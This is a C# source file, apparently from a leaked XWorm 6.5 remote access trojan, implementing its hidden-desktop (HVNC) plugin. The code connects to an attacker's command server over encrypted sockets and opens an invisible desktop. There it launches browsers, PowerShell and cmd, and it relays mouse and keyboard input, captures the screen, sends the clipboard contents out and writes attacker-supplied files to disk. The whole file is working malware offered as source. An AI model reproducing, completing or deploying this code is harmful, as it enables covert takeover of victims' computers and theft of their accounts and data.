Files
XWorm-6.5-Source/Plugins/HVNCMemory/HVNC/Plugin.cs
T
2026-08-27 11:22:34 -06:00

768 lines
27 KiB
C#

using Microsoft.VisualBasic; // Install-Package Microsoft.VisualBasic
using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
using Microsoft.Win32;
using Plugin.S.OpenApp;
using S.OpenApp;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace HVNC
{
class Plugin
{
public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
public static void Run(string H, string P, string SL, string K, string id)
{
try
{
Settings.Host = H;
Settings.Port = P;
Settings.SPL = SL;
Settings.KEY = K;
Settings.IDD = id;
T1.Start();
T2.Start();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
public partial class Settings
{
public static string Host;
public static string Port;
public static string KEY;
public static string SPL;
public static string IDD;
}
public partial class ClientSocket
{
public static bool isConnected = false;
public static Socket S;
public static long BufferLength = default;
public static byte[] Buffer;
public static MemoryStream MS = new MemoryStream();
public static void BeginConnect()
{
S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
BufferLength = -1;
Buffer = new byte[1];
MS = new MemoryStream();
S.ReceiveBufferSize = 50 * 1024;
S.SendBufferSize = 50 * 1024;
try
{
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
isConnected = true;
try
{
Methods.Native.HandelNative.SetProcessDpiAwareness(2);
}
catch
{
}
Helper.ScreenX = Screen.PrimaryScreen.Bounds.Width;
Helper.ScreenY = Screen.PrimaryScreen.Bounds.Height;
Send("FormHVNC" + Settings.SPL + Settings.IDD + Settings.SPL + Helper.ScreenX + Settings.SPL + Helper.ScreenY);
Helper.HigherThan81 = Conversions.ToBoolean(Helper.Isgreaterorequalto81());
Helper.OpenWindowsDesktop();
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
}
catch (Exception ex)
{
isDisconnected();
}
}
public static void BeginReceive(IAsyncResult ar)
{
if (isConnected == false)
isDisconnected();
try
{
int Received = S.EndReceive(ar);
if (Received > 0)
{
if (BufferLength == -1)
{
if (Buffer[0] == 0)
{
BufferLength = Conversions.ToLong(Helper.BS(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (BufferLength == 0L)
{
BufferLength = -1;
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
return;
}
Buffer = new byte[(int)(BufferLength - 1L + 1)];
}
else
{
MS.WriteByte(Buffer[0]);
}
}
else
{
MS.Write(Buffer, 0, Received);
if (MS.Length == BufferLength)
{
var thread = new Thread(BeginRead);
thread.Start(MS.ToArray());
BufferLength = -1;
MS.Dispose();
MS = new MemoryStream();
Buffer = new byte[1];
}
else
{
Buffer = new byte[(int)(BufferLength - MS.Length - 1L + 1)];
}
}
}
else
{
isDisconnected();
return;
}
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
}
catch (Exception ex)
{
isDisconnected();
return;
}
}
public static void BeginRead(object b)
{
try
{
byte[] buffer = (byte[])b;
Messages.Read(buffer);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
public static void Send(string msg)
{
try
{
using (var MS = new MemoryStream())
{
var B = Helper.AES_Encryptor(Helper.SB(msg));
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
MS.Write(L, 0, L.Length);
MS.Write(B, 0, B.Length);
S.Poll(-1, SelectMode.SelectWrite);
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
}
}
catch (Exception ex)
{
isDisconnected();
}
}
public static void isDisconnected()
{
isConnected = false;
try
{
S.Close();
S.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
MS.Close();
MS.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
Plugin.T1.Abort();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
Plugin.T2.Abort();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
public static void Ping()
{
while (true)
{
System.Threading.Thread.Sleep(30 * 1000);
try
{
if (S.Connected)
{
using (var MS = new MemoryStream())
{
var B = Helper.AES_Encryptor(Helper.SB("PING?"));
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
MS.Write(L, 0, L.Length);
MS.Write(B, 0, B.Length);
S.Poll(-1, SelectMode.SelectWrite);
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
GC.Collect();
}
}
}
catch (Exception ex)
{
isDisconnected();
}
}
}
}
public partial class Messages
{
public static void Read(byte[] b)
{
try
{
var A = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToString(Settings.SPL));
switch (A[0] ?? "")
{
case "CloseHVNC":
{
ClientSocket.isDisconnected();
break;
}
case "MouseRightUp":
{
Debug.WriteLine("MouseRightUp :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x = Conversions.ToInteger(A[1]); //x
int y = Conversions.ToInteger(A[2]); //Y
HandelMouse.MouseRghitUp(x, y);
break;
}
case "MouseLeftUp":
{
Debug.WriteLine("MouseLeftUp :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x2 = Conversions.ToInteger(A[1]); //x
int y2 = Conversions.ToInteger(A[2]); //Y
HandelMouse.MouseLeftUp(x2, y2);
break;
}
case "PowerShell":
{
HideDesktop.Load(Helper.HVNCDesktop);
PowerShell.Open();
break;
}
case "KeyboardDown":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.KeyboardDown(A[1]);
break;
}
case "Paste":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandleClipboard.Paste(A[1]);
break;
}
case "CopyClib":
{
ClientSocket.Send("ClibHVNC" + Settings.SPL + Helper.GetText());
break;
}
case "MouseDoubleClick":
{
Debug.WriteLine("MouseDoubleClick :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x3 = Conversions.ToInteger(A[1]); //x
int y3 = Conversions.ToInteger(A[2]); //Y
HandelMouse.MouseDuoblClieck(x3, y3);
break;
}
case "BraveBrowser":
{
HideDesktop.Load(Helper.HVNCDesktop);
Brave.OpenBraveBrowser();
break;
}
case "CustomOpen":
{
HideDesktop.Load(Helper.HVNCDesktop);
//Filename //Args
CustomOpen.Open(A[1], A[2]);
break;
}
case "EdgeBrowser":
{
HideDesktop.Load(Helper.HVNCDesktop);
Edge.OpenEdgeBrowser();
break;
}
case "ChromeBrowser":
{
HideDesktop.Load(Helper.HVNCDesktop);
Chrome.OpenChromeBrowser();
break;
}
case "CommandPrompt":
{
HideDesktop.Load(Helper.HVNCDesktop);
CommandPrompt.Open();
break;
}
case "MouseLeftDown":
{
Debug.WriteLine("MouseLeftDown :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x4 = Conversions.ToInteger(A[1]);//x
int y4 = Conversions.ToInteger(A[2]);//y
HandelMouse.MouseLeftDown(x4, y4);
break;
}
case "FireFoxBrowser":
{
HideDesktop.Load(Helper.HVNCDesktop);
FireFox.OpenFireFoxBrowser();
break;
}
case "MouseRightDown":
{
Debug.WriteLine("MouseRightDown :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x5 = Conversions.ToInteger(A[1]);//x
int y5 = Conversions.ToInteger(A[2]);//y
HandelMouse.MouseRightDown(x5, y5);
break;
}
case "MouseMove":
{
Debug.WriteLine("MouseMove :" + A[1] + ";" + A[2]);
HideDesktop.Load(Helper.HVNCDesktop);
int x6 = Conversions.ToInteger(A[1]);//x
int y6 = Conversions.ToInteger(A[2]);//y
HandelMouse.MouseMove(x6, y6);
break;
}
case "CloseWindow":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.CloseWindow();
break;
}
case "MinTop":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.MinTop();
break;
}
case "RestoreMaxTop":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.RestoreMaxTop();
break;
}
case "Cap":
{
if (!(Helper.IsRunning)) ;
}
HideDesktop.Load(Helper.HVNCDesktop);
Helper.IsRunning = true;
{
RemoteDesktop.Capture(Conversions.ToInteger(A[1]), Conversions.ToDouble(A[2]));
break;
}
case "DeskDrop":
{
String Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
System.IO.File.WriteAllBytes(Desktop + "\\" + A[1], Helper.Decompress(Convert.FromBase64String(A[2])));
break;
}
case "ScrollDown":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.ScrollDown();
break;
}
case "ScrollUp":
{
HideDesktop.Load(Helper.HVNCDesktop);
HandelMouse.ScrollUp();
break;
}
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
}
internal static partial class Helper
{
public static string GetText()
{
string ReturnValue = string.Empty;
Thread STAThread = new Thread(() =>
{
try
{
ReturnValue = System.Windows.Forms.Clipboard.GetText();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
return ReturnValue;
}
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
public static object Isgreaterorequalto81()
{
object result = default(object);
try
{
OperatingSystem oSVersion = Environment.OSVersion;
Version version = oSVersion.Version;
if (oSVersion.Platform == PlatformID.Win32NT)
{
int major = version.Major;
if (major == 6 && version.Minor != 0 && version.Minor != 1)
{
result = true;
return result;
}
}
result = false;
return result;
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
return result;
}
}
public static byte[] SB(string s)
{
return Encoding.UTF8.GetBytes(s);
}
public static string BS(byte[] b)
{
return Encoding.UTF8.GetString(b);
}
public static void SendMSG(string msg)
{
ClientSocket.Send("HvncMSG" + Settings.SPL + Settings.IDD + Settings.SPL + msg);
}
public static byte[] AES_Encryptor(byte[] input)
{
var AES_ = new RijndaelManaged();
var Hash = new MD5CryptoServiceProvider();
try
{
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
AES_.Mode = CipherMode.ECB;
var DESEncrypter = AES_.CreateEncryptor();
var Buffer = input;
return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return default;
}
public static byte[] AES_Decryptor(byte[] input)
{
var AES_ = new RijndaelManaged();
var Hash = new MD5CryptoServiceProvider();
try
{
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
AES_.Mode = CipherMode.ECB;
var DESDecrypter = AES_.CreateDecryptor();
var Buffer = input;
return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return default;
}
public static void StartExplorer(string strDesktopName)
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced", true);
int num = Conversions.ToInteger(registryKey.GetValue("TaskbarGlomLevel", true));
int num2 = 2;
bool flag = num != num2;
bool flag2 = flag;
if (flag2)
{
registryKey.SetValue("TaskbarGlomLevel", num2);
}
string path = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe";
HideDesktop.CreateProcess(path, strDesktopName, true);
registryKey.SetValue("TaskbarGlomLevel", num);
registryKey.Close();
try
{
Process process = Process.GetProcessesByName("explorer").FirstOrDefault((Process x) => !PIDs.Any((int y) => y == x.Id));
bool flag5 = process != null;
if (flag5)
{
PID = process.Id;
}
}
catch
{
SendMSG("Error: Explorer");
}
}
// Token: 0x060000C1 RID: 193
[DllImport("user32.dll")]
public static extern int GetSystemMetrics(int smIndex);
// Token: 0x060000C2 RID: 194 RVA: 0x0000552C File Offset: 0x0000372C
public static void OpenWindowsDesktop()
{
try
{
HandelMouse.TTTT = Helper.GetSystemMetrics(4);
bool flag = HandelMouse.TTTT < 5;
if (flag)
{
HandelMouse.TTTT = 20;
}
string nameDesktop = Helper.NameDesktop;
Helper.HVNCDesktop = HideDesktop.OpenDesktop(nameDesktop);
bool flag2 = Helper.HVNCDesktop == null;
bool flag3 = flag2;
if (flag3)
{
Helper.HVNCDesktop = HideDesktop.CreateDesktop(nameDesktop);
HideDesktop.Load(Helper.HVNCDesktop);
bool flag4 = !new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
if (flag4)
{
Helper.StartExplorer(nameDesktop);
}
else
{
HideDesktop.CreateProcess("powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}", "RemoteDesktopS", false);
}
}
SendMSG("Ready..");
}
catch (Exception ex)
{
SendMSG("Error: " + ex.Message);
}
}
public static bool IsRunning { get; set; }
public static bool HigherThan81 = false;
// Token: 0x0400004E RID: 78
public static int PID = 0;
// Token: 0x0400004F RID: 79
private static readonly List<int> PIDs = new List<int>();
// Token: 0x04000050 RID: 80
public static string NameDesktop = "RemoteDesktopS";
// Token: 0x04000051 RID: 81
public static HideDesktop HVNCDesktop = null;
// Token: 0x04000052 RID: 82
public static int ScreenX;
// Token: 0x04000053 RID: 83
public static int ScreenY;
// Token: 0x04000054 RID: 84
public static IntPtr CheckIntptr;
// Token: 0x04000056 RID: 86
public static bool StateCapture = false;
// Token: 0x04000058 RID: 88
public static object A = new object();
}
}
}